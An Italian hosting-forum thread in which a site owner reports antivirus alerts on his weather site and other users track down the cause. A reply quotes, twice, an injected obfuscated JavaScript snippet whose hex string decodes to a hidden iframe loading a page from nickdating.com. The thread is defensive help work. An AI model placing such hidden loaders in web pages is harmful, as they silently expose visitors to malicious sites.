Virus o trojan sul mio sito richiedo intervento

[globalmeteo]

è da una settimana che ho notato questa cosa quando accedo al mio sito mi si attiva l'antivirus poichè ci sono almeno queste due voci che compaiono in qualche modo:

nickdating.com ip 66.232.117.33
downloader javx ip 91.187.123.66

non so cos'altro potrebbe essere richiedo intervento quanto prima, non so se sia dovuto alle pubblicità o altro, sappiatemi dire quanto prima. grazie.

il sito è: www.globalmeteo.altervista.org

il server è il numero 28 se non erro.

Chiedo se possibile urgentemente intervento. grazie

[Gianluca]

Controlla tutti gli elementi esterni che hai inserito, quali contatori o anche widgets.

[globalmeteo]

Controlla tutti gli elementi esterni che hai inserito, quali contatori o anche widgets.

mah nell'ultima settimana ho fatto quasi nulle modifiche al sito, ho solo aggiornato due pagine domenica scorsa e venerdì scorso, come contatori bhe è uno solo ripetuto su tutte le pagine ed è del server di libero, widgets non ho presente cosa siano.

Beccato:

<!-- o65 --><script language="#JavaScript#" type="text/javascript">var i,y,x="3c696672616d65207372633d22687474703a2f2f6e69636b646174696e672e636f6d2f636f756e7465722f696e6465782e70687022207374796c653d22646973706c61793a6e6f6e65223e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script><!-- c65 -->

Le parti in grassetto le aggiunte. Il "virus" è sto coso, rimuovilo, fari uno scann del tuo pc con l'antivirus e come già detto, controlla tutti gli elementi esterni che hai inserito.

[globalmeteo]

Beccato:

<!-- o65 --><script language="#JavaScript#" type="text/javascript">var i,y,x="3c696672616d65207372633d22687474703a2f2f6e69636b646174696e672e636f6d2f636f756e7465722f696e6465782e70687022207374796c653d22646973706c61793a6e6f6e65223e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script><!-- c65 -->

Le parti in grassetto le aggiunte. Il "virus" è sto coso, rimuovilo, fari uno scann del tuo pc con l'antivirus e come già detto, controlla tutti gli elementi esterni che hai inserito.

come hai fatto a trovare quel codice?

e dove lo hai trovato devo pensare che sia presente in tutte le pagine, come faccio a vedere se sulle altre pagine è presente?

Non sono uno dello staff, nè uno esperto, sono solo uno smanettone di codici con un pò di logica. Le uniche cose che ti sò dire sono:
- E' in fondo alla sorgete
- Non ho girato tutte le pagine, ma in quello che ho visto è presente e sempre lì in fondo alla sorgente.
- Non so se rimuovendolo torna in auto....

[globalmeteo]

Non sono uno dello staff, nè uno esperto, sono solo uno smanettone di codici con un pò di logica. Le uniche cose che ti sò dire sono:
- E' in fondo alla sorgete
- Non ho girato tutte le pagine, ma in quello che ho visto è presente e sempre lì in fondo alla sorgente.
- Non so se rimuovendolo torna in auto....

adesso l'ho visto ma è solo sulla home page io il problema l'ho riscontrato sulla pagina chat.html

La mia sapenzia si ferma qui, purtroppo non sò aiutarti oltre, posso solo consigliarti di controllare i file .js che hai sul sito.

[dementialsite]

Di solito problemi del genere derivano dall'inserimento di servizi esterni sul tuo sito, come i servizi di statistiche (o contatori che dir si voglia). Prova a vedere se ne hai inserito uno che è già stato segnalato qui: http://forum.it.altervista.org/basi-...i-cattivi.html

Se ne hai inserito un altro, e ritieni possa essere la causa del tuo problema (verificalo dopo averlo rimosso), segui le istruzioni che trovi nel topic per segnalarlo...

Stammi bene...